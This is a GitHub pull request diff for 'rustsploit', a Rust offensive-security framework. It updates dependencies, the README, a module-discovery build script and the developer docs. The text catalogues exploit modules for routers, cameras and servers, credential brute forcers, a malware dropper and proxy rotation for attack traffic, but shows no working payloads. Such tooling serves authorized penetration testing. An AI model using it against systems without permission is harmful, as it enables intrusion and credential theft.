Merge pull request #19 from s-b-repo/livaetina-refomration

Livaetina refomration

Cargo.toml

@@ -1,11 +1,12 @@
 [package]
 name = "rustsploit"
-version = "0.1.0"
+version = "0.2.0"
 edition = "2021"
+build = "build.rs"
 
 [dependencies]
 # For HTTP requests
-reqwest = { version = "0.12.15", features = ["json", "socks"] }
+reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
 
 #proxy manager
 rand = "0.9.0"
@@ -14,7 +15,7 @@ rand = "0.9.0"
 clap = { version = "4.5.35", features = ["derive"] }
 
 # Async runtime for networking
-tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread"] }
+tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
 
 # Easier error handling
 anyhow = "1.0.97"
@@ -22,10 +23,15 @@ anyhow = "1.0.97"
 #teminal color
 colored = "3.0.0"
 rustyline = "15.0.0"
+
 #ftp brute force module
 async_ftp = "6.0.0"
-
 tokio-socks = "0.5.2"
+rustls = "0.23.26"
+webpki-roots = "0.26.8"
+suppaftp   = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
+native-tls = "0.2.14"
+sysinfo = { version = "0.37.2", features = ["multithread"] }
 
 #telnet
 threadpool = "1.8.1"
@@ -40,7 +46,53 @@ ssh2 = "0.9.5"
 # rstp brute forcing
 base64 = "0.22.1"
 
+# RDP brute forcing module
+rdp = "0.12.8"
+
+# ssdp moudle scanner
+regex = "1.11.1"
+ipnet = "2.11.0"
+
+#camera uniview exploit
+quick-xml = "0.37.4"
+
+#ABUS TVIP Dropbear
+md5 = "0.7.0"
+ftp = "3.0.1"
+
+#ssh rce race condition
+libc = "0.2.172"
+futures = "0.3.31"
+
+#spotube exploit
+serde_json = "1.0.140"
+futures-util = "0.3.31"
+tokio-tungstenite = "0.26.2"
+
+#zte rce
+# Add these to [dependencies]
+aes = "0.8.3"
+cipher = "0.4.4"
+flate2 = "1.0.30"
+
+# for Roundcube exploit payload encoding
+data-encoding = "2.5.0"
+
+#avanti
+url = "2.5.4"
+semver = "1.0.26"
+
+#stalk route full traceroute
+pnet_packet = "0.34" # Or the latest compatible version
+socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
+
+#pingsweep
+which = "8.0.0"
+
+[build-dependencies]
+regex = "1.11.1"         # required for use in build.rs
 
 [[bin]]
 name = "rustsploit"
 path = "src/main.rs"
+

README.md

@@ -1,112 +1,202 @@
-
----
-
 # Rustsploit 🛠️
 
-A Rust-based modular exploitation framework inspired by RouterSploit. This tool allows for running modules such as exploits, scanners, and credential checkers against embedded devices like routers.
+Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
 
-![Screenshot](https://github.com/s-b-repo/r-routersploit/raw/main/Screenshot_20250416_111212.png)
+![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
+
+-  **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
+-  **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
+-  **Proxy Smartness:** Supports HTTP(S), SOCKS4/4a/5 (with hostname resolution), validation, and automatic rotation
+-  **IPv4/IPv6 Ready:** Credential modules and sockets normalize targets so both address families work out-of-the-box
 
 ---
 
-### Goals & To Do lists
+## Table of Contents
 
+1. [Highlights](#highlights)
+2. [Module Catalog](#module-catalog)
+3. [Quick Start](#quick-start)
+4. [Interactive Shell Walkthrough](#interactive-shell-walkthrough)
+5. [CLI Usage](#cli-usage)
+6. [Proxy Workflow](#proxy-workflow)
+7. [How Modules Are Discovered](#how-modules-are-discovered)
+8. [Contributing](#contributing)
+9. [Credits](#credits)
 
-convert exploits and add modules
+---
 
+## Highlights
 
-# completed
-```
-created docs
+- ✅ **Auto-discovered modules:** `build.rs` indexes `src/modules/**` so new code drops in without manual registration
+- ✅ **Interactive shell with color and shortcuts:** Quick command palette, target/module state tracking, alias commands (`help/?`, `modules/m`, `run/go`, etc.)
+- ✅ **Ergonomic proxy system:** Load lists, validate availability, choose concurrency/timeouts, and rotate automatically on failure
+- ✅ **Comprehensive credential tooling:** FTP(S), SSH, Telnet, POP3(S), SMTP, RDP, RTSP brute force modules with IPv6 and TLS support where applicable
+- ✅ **Exploit coverage:** Apache Tomcat, Abus security cameras, Ivanti Connect Secure, TP-Link, Zabbix, Avtech cameras, Spotube, OpenSSH race condition, and more
+- ✅ **Scanners & utilities:** Port scanner, ping sweep, SSDP discovery, HTTP title grabber, StalkRoute traceroute (root), sample modules for extension
+- ✅ **Payload generation:** Batch malware dropper (`narutto_dropper`), BAT payload generator, custom credential checkers
+- ✅ **Readable output:** Colored prompts, structured status messages, optional verbose logs and result persistence
 
-added acti camera module
+---
 
-created bat payload generator for malware
+## Module Catalog
 
-added proxy support https/http socks4/socks5
+Rustsploit ships categorized modules under `src/modules/`, automatically exposed to the shell/CLI. A non-exhaustive snapshot:
 
-telnet brute forcing  module
- 
-ssh brute forcing  module
+| Category | Highlights |
+|----------|------------|
+| `creds/generic` | FTP anonymous & FTPS brute force, SSH brute force, Telnet brute force, POP3(S) brute force, SMTP brute force, RTSP brute force (path + header bruting), RDP auth-only brute |
+| `exploits/*` | Apache Tomcat (CVE-2025-24813 RCE, CatKiller CVE-2025-31650), TP-Link VN020 / WR740N DoS, Abus camera CVE-2023-26609 variants, Ivanti Connect Secure stack buffer overflow, Zabbix 7.0.0 SQLi, Avtech CVE-2024-7029, Spotube zero-day, OpenSSH 9.8p1 race condition, Uniview password disclosure, ACTi camera RCE |
+| `scanners` | Port scanner, ping sweep, SSDP M-SEARCH enumerator, HTTP title fetcher, StalkRoute traceroute (firewall evasion) |
+| `payloadgens` | `narutto_dropper`, BAT payload generator |
+| `lists` | RTSP wordlists and helper files |
 
-ftp anonymous login module
+Run `modules` or `find <keyword>` in the shell for the authoritative list.
 
-ftp brute forcing  module
+---
 
-added rtsp_bruteforce module
+## Quick Start
 
-dynamic modules listing and colored listing
+### Requirements
 
 ```
-
-## 🚀 Building & Running
-
-### 📦 Clone the Repository
-
-```
-git clone https://github.com/s-b-repo/r-routersploit.git
-cd r-routersploit
+sudo apt update
+sudo apt install freerdp2-x11    # Required for the RDP brute force module
 ```
 
-### 🛠️ Build the Project
+Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
+
+### Clone + Build
 
 ```
+git clone https://github.com/s-b-repo/rustsploit.git
+cd rustsploit
 cargo build
+```
 
-or if you just want to run the tool and see after builing run this command in folder
+### Run (Interactive Shell)
 
+```
 cargo run
 ```
-if you want it installed run
-```
-cargo install
-```
 
-
-
-### 🖥️ Run in Interactive Shell Mode
-
-Launch the interactive RSF shell:
+### Install (optional)
 
 ```
-
-rustsploit
-
-cargo run
-
-
+cargo install --path .
 ```
 
-Once inside the shell, you can explore and execute modules:
-
-```
-rsf> help
-rsf> modules
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.1.1
-rsf> run
-```
-
-### 🔧 Run in CLI Mode
-
-You can run specific modules via CLI using subcommands:
-
-#### ▶ Exploit
-
-```
-cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
-```
-
-#### 🧪 Scanner
-
-```
-cargo run -- --command scanner --module sample_scanner --target 192.168.1.1
-```
-
-#### 🔐 Credentials
-
-```
-cargo run -- --command creds --module sample_cred_check --target 192.168.1.1
-```
 ---
 
+## Interactive Shell Walkthrough
+
+The shell tracks current module, target, and proxy state. All commands are case-insensitive and support aliases:
+
+```
+RustSploit Command Palette
+Command          Shortcuts                Description
+--------------- ------------------------- ------------------------------
+help             help | h | ?             Show this screen
+modules          modules | ls | m         List discovered modules
+find             find <kw> | f1 <kw>      Search modules by keyword
+use              use <path> | u <path>    Select module (ex: u exploits/heartbleed)
+set target       set target <value>       Set current target (IPv4/IPv6/hostname)
+run              run | go                 Execute current module (honors proxy mode)
+proxy_load       proxy_load [file] | pl   Load proxies from file (HTTP/HTTPS/SOCKS)
+proxy_on/off     proxy_on | pon / ...     Toggle proxy usage
+proxy_test       proxy_test | ptest       Validate proxies (URL, timeout, concurrency)
+show_proxies     show_proxies | proxies   View proxy status
+exit             exit | quit | q          Leave shell
+```
+
+Example session:
+
+```
+rsf> f1 ssh
+rsf> u creds/generic/ssh_bruteforce
+rsf> set target 10.10.10.10
+rsf> pl data/proxies.txt    # prompts if omitted
+rsf> pon
+rsf> proxy_test             # optional validation / filtering
+rsf> go
+```
+
+If proxy mode is enabled, Rustsploit rotates through validated proxies, falls back to direct mode only after exhaustion, and politely reports successes or errors.
+
+---
+
+## CLI Usage
+
+Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
+
+```
+# Exploit
+cargo run -- --command exploit --module heartbleed --target 192.168.1.1
+
+# Scanner
+cargo run -- --command scanner --module port_scanner --target 192.168.1.1
+
+# Credentials
+cargo run -- --command creds --module ssh_bruteforce --target 192.168.1.1
+```
+
+Any module exposed to the shell can be called here. Use the `modules` shell command or browse `src/modules/**` for canonical names.
+
+---
+
+## Proxy Workflow
+
+Rustsploit treats proxy lists as first-class citizens:
+
+- Accepts HTTP, HTTPS, SOCKS4, SOCKS4a, SOCKS5, and SOCKS5h entries
+- Loads from user-supplied files, skipping invalid lines with reasons
+- Optional connectivity test prompts allow tuning:
+  - Test URL (default `https://example.com`)
+  - Timeout (seconds)
+  - Max concurrent checks
+- Keeps only working proxies when validation is requested
+- Rotates at run time; if all proxies fail, reverts to direct host attempts automatically
+
+Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) are managed transparently per attempt.
+
+---
+
+## How Modules Are Discovered
+
+Rustsploit scans `src/modules/` recursively during build. Each module should expose:
+
+```
+pub async fn run(target: &str) -> anyhow::Result<()>;
+```
+
+Optional interactive entry points (`run_interactive`) can coexist. Module paths are referenced relative to `src/modules/`, for example:
+
+- File: `src/modules/exploits/sample_exploit.rs`
+- Shell path: `exploits/sample_exploit`
+
+See the [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md) for scaffolding templates, async guidance, and tips on logging/persistence.
+
+---
+
+## Contributing
+
+Contributions are welcome! High-level suggestions:
+
+1. Fork + branch from `main`
+2. Add your module under the appropriate category
+3. Keep outputs concise, leverage `.yellow()/.green()` for status, and wrap heavy loops in async tasks when appropriate
+4. Document usage patterns in module comments
+5. Run `cargo fmt` and `cargo check` before opening a PR
+
+Bug reports, feature requests, and module ideas are appreciated. Feel free to log issues or reach out with PoCs.
+
+---
+
+## Credits
+
+- **Project Lead:** s-b-repo
+- **Language:** 100% Rust
+- **Wordlists:** Seclists + custom additions (`lists/` directory)
+- **Inspired by:** RouterSploit, Metasploit Framework, pwntools
+
+> ⚠️ Rustsploit is intended for authorized security testing and research purposes only. Obtain explicit permission before targeting any system you do not own.
+

build.rs

@@ -0,0 +1,96 @@
+use std::env;
+use std::fs::{self, File};
+use std::io::{Read, Write};
+use std::path::Path;
+use regex::Regex;
+
+fn main() {
+    println!("cargo:rerun-if-changed=src/modules/exploits");
+    println!("cargo:rerun-if-changed=src/modules/creds");
+    println!("cargo:rerun-if-changed=src/modules/scanners");
+
+    generate_dispatch(
+        "src/modules/exploits",
+        "exploit_dispatch.rs",
+        "crate::modules::exploits"
+    );
+    generate_dispatch(
+        "src/modules/creds",
+        "creds_dispatch.rs",
+        "crate::modules::creds"
+    );
+    generate_dispatch(
+        "src/modules/scanners",
+        "scanner_dispatch.rs",
+        "crate::modules::scanners"
+    );
+}
+
+fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
+    let out_dir = env::var("OUT_DIR").unwrap();
+    let dest_path = Path::new(&out_dir).join(out_file);
+    let mut file = File::create(&dest_path).unwrap();
+
+    let root_path = Path::new(root);
+    let mut mappings = Vec::new();
+    visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
+
+    writeln!(
+        file,
+        "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
+    ).unwrap();
+
+    for (key, mod_path) in &mappings {
+        writeln!(
+            file,
+            r#"        "{k}" => {{ {p}::{m}::run(target).await? }},"#,
+            k = key,
+            m = mod_path.replace("/", "::"),
+            p = mod_prefix
+        ).unwrap();
+    }
+
+    writeln!(
+        file,
+        r#"        _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
+    ).unwrap();
+
+    writeln!(file, "    }}\n    Ok(())\n}}").unwrap();
+}
+
+fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
+    let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
+
+    if dir.is_dir() {
+        for entry in fs::read_dir(dir)? {
+            let entry = entry?;
+            let path = entry.path();
+
+            if path.is_dir() {
+                let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
+                visit_dirs(&path, sub_prefix, mappings)?;
+            } else if path.extension().map_or(false, |e| e == "rs") {
+                let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
+                if file_name == "mod" {
+                    continue;
+                }
+
+                let mod_path = format!("{}/{}", prefix, file_name)
+                    .trim_start_matches('/')
+                    .to_string();
+                let key = mod_path.clone();
+
+                let mut source = String::new();
+                fs::File::open(&path)?.read_to_string(&mut source)?;
+
+                if sig_re.is_match(&source) {
+                    mappings.push((key.clone(), mod_path));
+                    println!("✅ Registered module: {}/{}", prefix, file_name);
+                } else {
+                    println!("⚠️  Skipping '{}': no matching 'pub async fn run(...)'", path.display());
+                }
+            }
+        }
+    }
+    Ok(())
+}

changelog.md

@@ -0,0 +1,40 @@
+Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
+
+Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
+
+Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
+
+
+Proxy Improvements
+
+Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
+
+Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
+
+Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
+
+
+Shell UX Refresh
+Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
+
+Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
+
+Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
+
+
+README Refresh
+
+Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
+
+README Suite Updated
+
+README.md already reflects the full feature set; no further changes needed.
+docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
+lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
+
+Pingsweep.rs 
+
+improved and reworked
+
+
+

docs/doc.md

@@ -1,437 +0,0 @@
- the internal architecture, how to add or modify modules, and how the CLI and shell interact with the framework.
-
----
-
-# 🛠️ Developer Documentation: RouterSploit-Rust Framework
-
-> This document explains the architecture, core logic, CLI, shell system, and how to add or modify exploit/scanner/credential modules. It is meant for developers looking to extend or maintain this Rust-based pentesting framework.
-
----
-
-## 🧠 Framework Philosophy
-
-This tool is a **modular, extensible**, and **safe-by-default** Rust rewrite of the RouterSploit concept. Each exploit, scanner, or credential brute-forcer lives in its own **module file**, and can be invoked via:
-
-- 📟 Command-Line Interface (CLI)
-- 🖥️ Interactive Shell
-
----
-
-## 🗂️ Directory Structure
-
-```
-routersploit_rust/
-├── Cargo.toml
-└── src
-    ├── main.rs              # Entry point
-    ├── cli.rs               # Parses CLI args
-    ├── shell.rs             # Interactive shell (rsf> prompt)
-    ├── commands/            # Dispatch logic for exploit/scanner/creds
-    │   ├── mod.rs
-    │   ├── exploit.rs
-    │   ├── scanner.rs
-    │   └── creds.rs
-    ├── modules/             # All available attack modules
-    │   ├── mod.rs
-    │   ├── exploits/
-    │   │   ├── mod.rs
-    │   │   └── sample_exploit.rs
-    │   ├── scanners/
-    │   │   ├── mod.rs
-    │   │   └── sample_scanner.rs
-    │   └── creds/
-    │       ├── mod.rs
-    │       └── sample_cred_check.rs
-    └── utils.rs             # Utility helpers (e.g., list modules)
-```
-
----
-
-## 🔗 Module System
-
-Each **module** (exploit/scanner/cred checker) is self-contained:
-
-### Anatomy of a Module
-
-```rust
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Running <MODULE_NAME> on target {}", target);
-    // Logic here
-    Ok(())
-}
-```
-
-Each module must:
-- Be placed inside the correct subfolder (e.g., `modules/exploits/`)
-- Have a `run(target: &str) -> Result<()>` function
-- Be declared in its parent's `mod.rs`
-- Be wired into the corresponding command handler (e.g., `commands/exploit.rs`)
-
----
-
-## ⚙️ CLI Internals
-
-Handled via **Clap** in `cli.rs`:
-
-```
-cargo run -- --command exploit --module sample_exploit --target 192.168.1.1
-```
-
-- Parses command like `--command scanner`, `--module sample_scanner`, `--target 192.168.1.1`
-- Passed into `commands::handle_command()` for dispatch
-
----
-
-## 🖥️ Interactive Shell
-
-Start with:
-
-```
-cargo run
-```
-
-Inside the shell:
-
-```
-rsf> help
-rsf> modules
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.1.1
-rsf> run
-```
-
-Shell maintains internal state:
-- `current_module` (e.g., `exploits/sample_exploit`)
-- `current_target` (e.g., `192.168.1.1`)
-
-When `run` is called, it dispatches via `commands::run_module()`.
-
----
-
-## 🧪 Running a Module (Backend Flow)
-
-1. Shell or CLI calls `commands::run_module("exploits/sample_exploit", "192.168.1.1")`
-2. `commands/mod.rs` matches `exploits/` and calls `commands/exploit.rs`
-3. `commands/exploit.rs` matches `sample_exploit` and calls `modules/exploits/sample_exploit.rs`
-4. `run(target: &str)` executes async exploit logic
-5. Results are printed back to the user
-
----
-
-## ➕ How to Add a New Exploit/Scanner/Cred Module
-
-### 1. Create the Module File
-
-Example: `src/modules/exploits/my_new_exploit.rs`
-
-```rust
-use anyhow::{Result, Context};
-use reqwest;
-
-pub async fn run(target: &str) -> Result<()> {
-    println!("[*] Launching my_new_exploit on {}", target);
-    let url = format!("http://{}/pwn", target);
-    let resp = reqwest::get(&url)
-        .await
-        .context("Request failed")?
-        .text()
-        .await?;
-
-    if resp.contains("owned") {
-        println!("[+] Target is vulnerable!");
-    } else {
-        println!("[-] Not vulnerable.");
-    }
-
-    Ok(())
-}
-```
-
----
-
-### 2. Register It in `mod.rs`
-
-```rust
-// src/modules/exploits/mod.rs
-pub mod sample_exploit;
-pub mod my_new_exploit;
-```
-
----
-
-### 3. Wire It into the Command Handler
-
-```rust
-// src/commands/exploit.rs
-match module_name {
-    "sample_exploit" => exploits::sample_exploit::run(target).await?,
-    "my_new_exploit" => exploits::my_new_exploit::run(target).await?,
-    _ => eprintln!("Unknown exploit module"),
-}
-```
-
----
-
-
----
-
-## 🛑 Error Handling
-
-- All `run()` functions return `Result<()>` using `anyhow` for easy error context.
-- Errors are automatically printed when the main shell or CLI fails.
-
----
-
-## ⚡ Async Support
-
-- The project uses `tokio` runtime and `reqwest` async client.
-- All modules can use `async fn run(...) -> Result<()>` safely.
-
----
-
-## 📡 HTTP Requests
-
-- Use `reqwest` for sending requests to the target:
-```rust
-let response = reqwest::get(&url).await?;
-```
-
-- Or with a custom client and headers/auth:
-```rust
-let client = reqwest::Client::new();
-let resp = client.post(&url).json(&data).send().await?;
-```
-
----
-
-## 🧪 Example Use Cases
-
-### CLI Mode
-
-```
-# Exploit a router
-cargo run -- --command exploit --module sample_exploit --target 192.168.0.1
-```
-
-### Shell Mode
-
-```
-rsf> use exploits/sample_exploit
-rsf> set target 192.168.0.1
-rsf> run
-```
-
----
-
-## 🧼 Resetting Shell State
-
-There is no persistent state between runs. All values (`module`, `target`) must be set each time unless you're adding support for config files or persistence.
-
----
-
-## 🔐 Real Exploit Integration
-
-To adapt a real-world CVE:
-
-- Convert the PoC into an async HTTP request
-- Simulate or validate the vulnerable response pattern
-- Follow the above module creation workflow
-
-If the exploit is based on open TCP/UDP, you can use `tokio::net::TcpStream` or `tokio::net::UdpSocket`.
-
----
-
-## 🛠️ Feature Ideas
-
-- 🧰 Add wordlist brute-forcers (like rockyou support)
-- 📄 Export results to a file
-- ⚡ Parallel scanning via `tokio::spawn`
-- 🔌 Plugin system for runtime module loading
-- 🔒 Encrypted config/profile saving
-- 🧪 Integration with Shodan/Censys APIs
-
----
-
-## 👥 Contributors
-
-- Main Developer: You.
-- Language: 100% Rust
-- Base Concept: Inspired by RouterSploit, Metasploit, and pwntools.
-
----
-
-Below is a **step-by-step** walkthrough of the proxy logic in the updated `shell.rs` whenever the user types `run`. It explains how the **retry mechanism** works, how a **new proxy** is selected after a failure, and how we **stop** when all proxies are exhausted.
-
----
-
-## 1. `run` Command Overview
-
-When the user types **`run`** in the shell:
-
-1. We check if there is a **selected module** (`current_module`) and a **target** (`current_target`). If either is missing, we prompt the user to set them.  
-
-2. If both are set:
-   - We look at whether **proxy usage** is **enabled** (`proxy_enabled = true`) and whether we have a **non-empty proxy list**.
-   - Based on this, we do one of the following:
-     - **Proxy is ON & we have proxies**: Attempt the exploit with **one or more** proxies in a loop (retrying).  
-     - **Proxy is ON & we have no proxies**: Just do a **direct** attempt (warn user).  
-     - **Proxy is OFF**: Only do a **direct** attempt.  
-
----
-
-## 2. When Proxy is ON (and Proxies Are Loaded)
-
-If `proxy_enabled == true` and `proxy_list` is **not** empty, the `run` logic does this:
-
-1. **Create** a `HashSet<String>` called `tried_proxies` – this will track which proxies we have already used and failed on.
-
-2. **Loop** until either:
-   - We **succeed** with a proxy, or  
-   - We have tried **all** proxies in `proxy_list`.
-
-3. **Pick a Random Proxy**  
-   - We call `pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies)`.  
-   - This function filters out any proxies that are already in `tried_proxies` (i.e., ones that failed previously).  
-   - It then chooses **one** from the remaining pool **at random**.  
-   - If all have been tried, it falls back to picking *any* random proxy from the full list (ensuring no panic).
-
-4. **Set `ALL_PROXY` Environment Variable**  
-   - We call `set_all_proxy_env(&chosen_proxy)`.  
-   - Inside that function, we do:  
-     ```rust
-     env::set_var("ALL_PROXY", proxy);
-     ```
-   - Because your exploit modules use `reqwest` (with the `socks` feature), **any** request they make automatically goes through that proxy (whether it’s HTTP, HTTPS, SOCKS4, or SOCKS5).
-
-5. **Run the Module**  
-   ```rust
-   match commands::run_module(module_path, t).await {
-       Ok(_) => { ... }
-       Err(e) => { ... }
-   }
-   ```
-   - This calls the real exploit/scanner/cred module. The module tries to send its requests.  
-   - Because `ALL_PROXY` is set, **all** of its traffic routes through the chosen proxy.  
-
-6. **Check the Result**  
-   - If it returns `Ok(())`, that means the exploit **did not** fail at the top level. We **break** the loop and stop retrying.  
-   - If it returns `Err(e)`, we:
-     1. Print an error message.  
-     2. Add the **chosen proxy** to `tried_proxies`.  
-     3. Repeat the loop, picking a new untried proxy.  
-
-7. **Exhausting All Proxies**  
-   - If we eventually try **every** proxy in `proxy_list` (i.e., `tried_proxies.len() == ctx.proxy_list.len()`) and **still** fail, we exit the loop.  
-
-8. **Final Fallback: Direct Attempt**  
-   - If we never got a success, we do a **final** attempt **without** any proxy:  
-     ```rust
-     clear_proxy_env_vars();
-     commands::run_module(module_path, t).await;
-     ```
-   - That either succeeds or fails. If it fails, we simply print the error and continue (or end).  
-
----
-
-## 3. When Proxy is ON but No Proxies Are Loaded
-
-If `proxy_enabled == true` but `proxy_list` is empty:
-
-1. We **cannot** pick a proxy, so we simply show a warning:
-   ```
-   [!] No proxies loaded, but proxy is ON. Doing direct attempt...
-   ```
-2. We call `clear_proxy_env_vars()` to ensure we’re not using a stale proxy environment variable.
-3. We run the module once. No retries occur here.
-
----
-
-## 4. When Proxy is OFF
-
-If `proxy_enabled == false`, we do a **single** direct attempt:
-
-1. `clear_proxy_env_vars()` is called to remove any existing proxy environment variables.  
-2. `commands::run_module(module_path, t).await` is called.  
-3. If it fails, we just print the error. We do **not** retry.
-
----
-
-## 5. Summarizing the Retry Logic
-
-Below is a simplified flowchart of the “**Proxy is ON & Proxies Are Loaded**” scenario:
-
-```
-+--------------------------+
-| Start 'run' command      |
-+--------------------------+
-          |   (Check if module & target are set)
-          v
-+-------------------------------+
-| tried_proxies = empty set    |
-+-------------------------------+
-          |
-          | while tried_proxies.len() < proxy_list.len():
-          v
-+--------------------------------------------------+
-| pick_random_untried_proxy(proxy_list, tried_set) |
-+--------------------------------------------------+
-          |
-          | set_all_proxy_env(chosen_proxy)
-          v
-+-----------------------------------------+
-| run_module(module_path, target) => Err? |
-+-----------------------------------------+
-          |            |
-      (Ok) |            | (Err)
-          v            v
-        (Stop)     tried_proxies.insert(chosen_proxy)
-                        (loop again)
-
-If we exit the loop with no success:
-  => clear_proxy_env_vars()
-  => do a final direct run_module()
-```
-
-Hence, after each failure, we remove that proxy from the candidate pool and pick a new one. We do **not** pick the same failing proxy again. If, after exhausting **all** proxies, everything fails, we do one **direct** attempt with no proxy.
-
----
-
-## 6. Why This Requires No Changes to Exploit Modules
-
-- **All** changes happen at the shell level (the `run` command).  
-- Each time we call `commands::run_module(...)`, we have **already** set the environment variable `ALL_PROXY`.  
-- The exploit modules (e.g., `sample_exploit.rs`) simply use `reqwest` without knowing or caring about proxies.  
-- `reqwest` automatically checks `ALL_PROXY` and routes traffic accordingly.  
-- If that proxy fails for any reason (connection refused, times out, etc.), `run_module(...)` returns an error to the shell, triggering the **retry** logic.  
-
----
-
-## 7. Practical Considerations
-
-1. **Module-Level vs. Shell-Level Retries**  
-   - We do an entire “exploit run” in one attempt. If the exploit tries multiple sub-requests and fails halfway, from the shell’s perspective it’s just one run that failed.  
-   - We then pick a new proxy and re-run from scratch.  
-
-2. **Timeouts**  
-   - If a proxy is **very** slow or dead, you may not get an error for a while (unless your module sets timeouts).  
-   - Consider setting a **short** timeout in your modules if you want to quickly detect non-functional proxies.  
-
-3. **Full Proxy Exhaustion**  
-   - If every proxy fails, we do a final direct attempt. If that also fails, we give up.  
-
-4. **Thread-Safety**  
-   - Because we’re doing everything in a single-threaded loop, environment-variable changes are straightforward.  
-   - In a multi-threaded scenario, changing `ALL_PROXY` globally might cause conflicts or race conditions.  
-
----
-
-## 8. Final Summary
-
-1. **User** types `run`.  
-2. If **proxy is on** and there are proxies in the list, the shell tries them **one by one** (random order), setting `ALL_PROXY` each time and calling `run_module`.  
-3. On each **failure**, the shell adds that proxy to a “tried” set and repeats with a **new** proxy.  
-4. If the user **exhausts** all proxies (they all fail), the shell **finally** attempts a **direct** run (no proxy).  
-5. If the exploit **succeeds** at any point, we **stop** retrying.  
-6. This entire sequence requires **no changes** to the exploit modules, as they already rely on `reqwest`, which automatically respects `ALL_PROXY`.
-
-That’s the logic behind automatic proxy retries for failing requests!

docs/readme.md

@@ -0,0 +1,253 @@
+# 🛠️ Rustsploit Developer Guide
+
+> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
+
+---
+
+## Table of Contents
+
+1. [Project Overview](#project-overview)  
+2. [Code Layout](#code-layout)  
+3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)  
+4. [Shell Architecture](#shell-architecture)  
+5. [Proxy Subsystem](#proxy-subsystem)  
+6. [Command-Line Interface](#command-line-interface)  
+7. [Authoring Modules](#authoring-modules)  
+8. [Credential Modules: Best Practices](#credential-modules-best-practices)  
+9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)  
+10. [Utilities & Helpers](#utilities--helpers)  
+11. [Testing & QA](#testing--qa)  
+12. [Roadmap & Ideas](#roadmap--ideas)  
+
+---
+
+## Project Overview
+
+Rustsploit is a Rust-first re-imagining of RouterSploit:
+
+- Async-native (Tokio) for scalable brute forcing and network IO
+- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
+- Interactive shell + CLI runner referencing the same dispatch layer
+- Proxy-aware execution with run-time rotation, validation, and fallback logic
+- IPv4/IPv6-friendly: target normalization happens uniformly
+- Carefully colored, concise output designed for operators on remote consoles
+
+---
+
+## Code Layout
+
+```text
+rustsploit/
+├── Cargo.toml
+├── build.rs                 # Generates dispatcher code by scanning src/modules
+├── src/
+│   ├── main.rs              # Entry point, selects CLI or shell mode
+│   ├── cli.rs               # Clap-based CLI parser and dispatcher
+│   ├── shell.rs             # Interactive shell loop + UX helpers
+│   ├── commands/            # Dispatch glue for exploits/scanners/creds
+│   │   ├── mod.rs
+│   │   ├── exploit.rs
+│   │   ├── exploit_gen.rs   # build.rs output
+│   │   ├── scanner.rs
+│   │   ├── scanner_gen.rs   # build.rs output
+│   │   ├── creds.rs
+│   │   └── creds_gen.rs     # build.rs output
+│   ├── modules/             # Fully auto-discovered attack modules
+│   │   ├── exploits/
+│   │   ├── scanners/
+│   │   └── creds/
+│   └── utils.rs             # Shared helpers (proxy parsing, module lookup, etc.)
+├── docs/
+│   └── readme.md            # This document
+├── lists/
+│   ├── readme.md            # Wordlist + data file catalogue
